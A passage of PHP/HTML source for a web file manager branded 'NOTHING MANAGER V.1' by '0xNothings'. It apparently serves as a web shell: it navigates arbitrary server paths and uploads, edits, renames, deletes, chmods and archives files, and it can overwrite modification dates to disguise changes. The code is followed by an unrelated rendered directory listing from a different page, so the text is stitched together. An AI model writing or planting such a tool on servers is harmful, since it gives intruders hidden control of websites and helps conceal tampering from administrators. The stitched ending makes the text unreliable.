        .btn-touch { background: #ff9800; color: white; }
        .btn-rename { background: #6c757d; color: white; }
        .nav-bar { margin-bottom: 15px; padding: 10px; background: #e9ecef; border-radius: 4px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; }
        .nav-bar a { text-decoration: none; color: #007bff; padding: 5px 10px; background: white; border-radius: 4px; display: inline-block; }
        .nav-bar a:hover { background: #007bff; color: white; }
        .breadcrumb { margin-bottom: 15px; padding: 10px; background: #f8f9fa; border-radius: 4px; font-size: 14px; word-break: break-all; }
        .footer { margin-top: 20px; text-align: center; font-size: 12px; color: #777; padding: 10px; border-top: 1px solid #eee; }
        .status-badge { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; }
        .writable { background-color: #4caf50; }
        .readonly { background-color: #ff9800; }
        .quick-jump { margin-left: 20px; display: inline-block; }
        .quick-jump input { padding: 5px 10px; width: 300px; border: 1px solid #ccc; border-radius: 4px; }
        .batch-bar { margin: 15px 0; padding: 10px; background: #f8f9fa; border-radius: 4px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; }
        .batch-bar button { padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; }
        .btn-compress { background: #9c27b0; color: white; }
        .btn-batch-delete { background: #f44336; color: white; }
        .select-all { margin-left: 10px; }
        input[type="checkbox"] { cursor: pointer; width: 18px; height: 18px; }
        .tar-name-input { padding: 5px 10px; border: 1px solid #ccc; border-radius: 4px; width: 200px; }
        .upload-area { margin: 15px 0; padding: 15px; background: #f8f9fa; border-radius: 4px; border: 2px dashed #ccc; }
        .upload-area:hover { border-color: #4CAF50; background: #f1f8e9; }
        @media (max-width: 768px) {
            .actions form { display: block; margin: 5px 0; }
            .quick-jump input { width: 150px; }
            .batch-bar { flex-direction: column; align-items: stretch; }
        }
    </style>
    <script>
        function toggleSelectAll(source) {
            let checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
            for(let i = 0; i < checkboxes.length; i++) {
                checkboxes[i].checked = source.checked;
            }
        }
        function validateBatchDelete() {
            let checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
            if(checkboxes.length === 0) {
                alert('Please select at least one file or folder');
                return false;
            }
            return confirm('Are you sure you want to delete ' + checkboxes.length + ' selected items? This action cannot be undone!');
        }
        function validateCompress() {
            let checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
            if(checkboxes.length === 0) {
                alert('Please select at least one file or folder to compress');
                return false;
            }
            let tarName = document.getElementById('tar_name').value;
            if(tarName.trim() === '') {
                alert('Please enter an archive name');
                return false;
            }
            return confirm('Are you sure you want to compress ' + checkboxes.length + ' selected items into tar.gz format?');
        }
        function validateUpload() {
            let files = document.getElementById('upload_file').files;
            if(files.length === 0) {
                alert('Please select files to upload');
                return false;
            }
            return confirm('Are you sure you want to upload ' + files.length + ' files?');
        }
        function renameItem(path, currentName) {
            var newName = prompt('Enter new name:', currentName);
            if (newName && newName.trim() !== '') {
                var form = document.createElement('form');
                form.method = 'POST';
                form.action = '';
                var inputPath = document.createElement('input');
                inputPath.type = 'hidden';
                inputPath.name = 'target';
                inputPath.value = path;
                var inputNewName = document.createElement('input');
                inputNewName.type = 'hidden';
                inputNewName.name = 'new_name';
                inputNewName.value = newName.trim();
                var inputRename = document.createElement('input');
                inputRename.type = 'hidden';
                inputRename.name = 'rename';
                inputRename.value = '1';
                var inputCurrentPath = document.createElement('input');
                inputCurrentPath.type = 'hidden';
                inputCurrentPath.name = 'current_path';
                inputCurrentPath.value = '<?php echo htmlspecialchars($current_path); ?>';
                form.appendChild(inputPath);
                form.appendChild(inputNewName);
                form.appendChild(inputRename);
                form.appendChild(inputCurrentPath);
                document.body.appendChild(form);
                form.submit();
            }
        }
    </script>
</head>
<body>
<div class="container">
    <h1>📁 NOTHING MANAGER V.1</h1>
    <div class="quick-jump">
        <form method="get" style="display: inline;">
            <input type="text" name="path" value="<?php echo htmlspecialchars($current_path); ?>" placeholder="Enter full path" size="40">
            <button type="submit">Go</button>
        </form>
    </div>
    
    <div class="breadcrumb">
        📍 Current Location: 
        <?php
        $path_parts = explode(DIRECTORY_SEPARATOR, $current_path);
        $full_path = '';
        echo '<a href="?path=' . urlencode(WEB_ROOT) . '">Root Directory</a>';
        foreach ($path_parts as $part) {
            if ($part === '' || $part === WEB_ROOT) continue;
            $full_path .= DIRECTORY_SEPARATOR . $part;
            echo ' / <a href="?path=' . urlencode($full_path) . '">' . htmlspecialchars($part) . '</a>';
        }
        ?>
    </div>
    
    <?php if ($message): ?>
        <div class="message <?php echo $message_type; ?>">
            <?php echo nl2br(htmlspecialchars($message)); ?>
        </div>
    <?php endif; ?>
    
    <div class="nav-bar">
        <?php 
        $parent_path = dirname($current_path);
        if ($parent_path != $current_path && isPathAllowed($parent_path) && is_dir($parent_path)): ?>
            <a href="?path=<?php echo urlencode($parent_path); ?>">⬆️ Go to Parent Directory</a>
        <?php endif; ?>
        
        <?php if ($current_path != WEB_ROOT): ?>
            <a href="?path=<?php echo urlencode(WEB_ROOT); ?>">🏠 Back to Root</a>
        <?php endif; ?>
        
        <span style="margin-left: auto; font-size: 12px; color: #666;">
            📊 Total <?php echo count($items); ?> items
        </span>
    </div>
    
    <!-- Upload area -->
    <div class="upload-area">
        <form method="post" enctype="multipart/form-data" onsubmit="return validateUpload()">
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <div style="display: flex; flex-wrap: wrap; gap: 10px; align-items: center;">
                <div style="flex: 1;">
                    <input type="file" name="upload_file[]" id="upload_file" multiple style="width: 100%; padding: 8px;">
                    <small style="color: #666;">Supports multiple file uploads, max <?php echo ini_get('upload_max_filesize'); ?></small>
                </div>
                <button type="submit" name="upload" value="1" class="btn-compress" style="background: #4CAF50;">📤 Upload Files</button>
            </div>
        </form>
    </div>
    
    <div class="batch-bar">
        <form method="post" id="batchForm" style="display: flex; flex-wrap: wrap; gap: 10px; align-items: center;">
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <label>
                <input type="text" name="tar_name" id="tar_name" class="tar-name-input" placeholder="Archive name (without extension)" value="archive_<?php echo date('Ymd_His'); ?>">
                <span style="font-size: 12px; color: #666;">.tar.gz</span>
            </label>
            <button type="submit" name="compress" value="1" class="btn-compress" onclick="return validateCompress()">📦 Compress to tar.gz</button>
            <button type="submit" name="batch_delete" value="1" class="btn-batch-delete" onclick="return validateBatchDelete()">🗑️ Batch Delete</button>
            <label class="select-all">
                <input type="checkbox" onclick="toggleSelectAll(this)"> Select All / Deselect
            </label>
        </form>
    </div>
    
    <div style="overflow-x: auto;">
        <form method="post" id="mainForm">
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <table>
                <thead>
                    <tr>
                        <th style="width: 30px;"><input type="checkbox" onclick="toggleSelectAll(this)"></th>
                        <th>Name</th>
                        <th>Type</th>
                        <th>Size</th>
                        <th>Permissions</th>
                        <th>Date</th>
                        <th>Status</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if (count($items) === 0): ?>
                        <tr><td colspan="8" style="text-align: center;">📂 This directory is empty</td></tr>
                    <?php endif; ?>
                    <?php foreach ($items as $item): ?>
                        <tr>
                            <td style="text-align: center;">
                                <input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($item['path']); ?>">
                            </td>
                            <td>
                                <?php if ($item['is_dir']): ?>
                                    <a href="?path=<?php echo urlencode($item['path']); ?>" class="dir-name">
                                        📁 <?php echo htmlspecialchars($item['name']); ?>
                                    </a>
                                <?php else: ?>
                                    <span class="file-name">📄 <?php echo htmlspecialchars($item['name']); ?></span>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $item['is_dir'] ? '📂 Directory' : '📄 File'; ?></td>
                            <td><?php echo formatSize($item['size']); ?></td>
                            <td>
                                <span class="current-perm"><?php echo permToString($item['perms']); ?></span>
                                (<?php echo substr(sprintf('%o', $item['perms']), -4); ?>)
                            </td>
                            <td><?php echo date('Y-m-d H:i:s', $item['mtime']); ?></td>
                            <td>
                                <span class="status-badge <?php echo $item['is_writable'] ? 'writable' : 'readonly'; ?>"></span>
                                <?php echo $item['is_writable'] ? 'Writable' : 'Read Only'; ?>
                            </td>
                            <td class="actions">
                                <form method="post" style="display:inline-block;">
                                    <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
                                    <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
                                    <input type="text" name="permissions" value="<?php echo substr(sprintf('%o', $item['perms']), -4); ?>" size="5" style="width: 50px;">
                                    <button type="submit" name="chmod" class="btn-chmod">Chmod</button>
                                </form>
                                
                                <form method="post" style="display:inline-block;">
                                    <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
                                    <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
                                    <input type="text" name="mtime" value="<?php echo date('Y-m-d H:i:s', $item['mtime']); ?>" size="16" style="width: 130px;">
                                    <button type="submit" name="touch" class="btn-touch">Date</button>
                                </form>
                                
                                <?php if (!$item['is_dir']): ?>
                                    <a href="?edit=<?php echo urlencode($item['path']); ?>&path=<?php echo urlencode($current_path); ?>">
                                        <button type="button" class="btn-edit">Edit</button>
                                    </a>
                                <?php endif; ?>
                                
                                <button type="button" class="btn-rename" onclick="renameItem('<?php echo addslashes($item['path']); ?>','<?php echo addslashes($item['name']); ?>');">Rename</button>
                                
                                <form method="post" style="display:inline-block;" onsubmit="return confirm('Are you sure you want to delete <?php echo htmlspecialchars($item['name']); ?>?');">
                                    <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
                                    <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
                                    <button type="submit" name="delete" class="btn-delete">Delete</button>
                                </form>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </form>
    </div>
</div>
</body>
</html>

Directory Contents

Dirs: 0 × Files: 5
Name Size Perms Modified Actions
6.36 KB lrw----r-- 2026-08-20 10:06:11
Edit Download
3.50 KB lrw----r-- 2026-08-20 10:06:11
Edit Download
6.36 KB lrw----r-- 2026-08-20 10:06:11
Edit Download
3.50 KB lrw----r-- 2026-08-20 10:06:11
Edit Download
40.94 KB lrw-r--r-- 2024-04-14 20:25:00
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI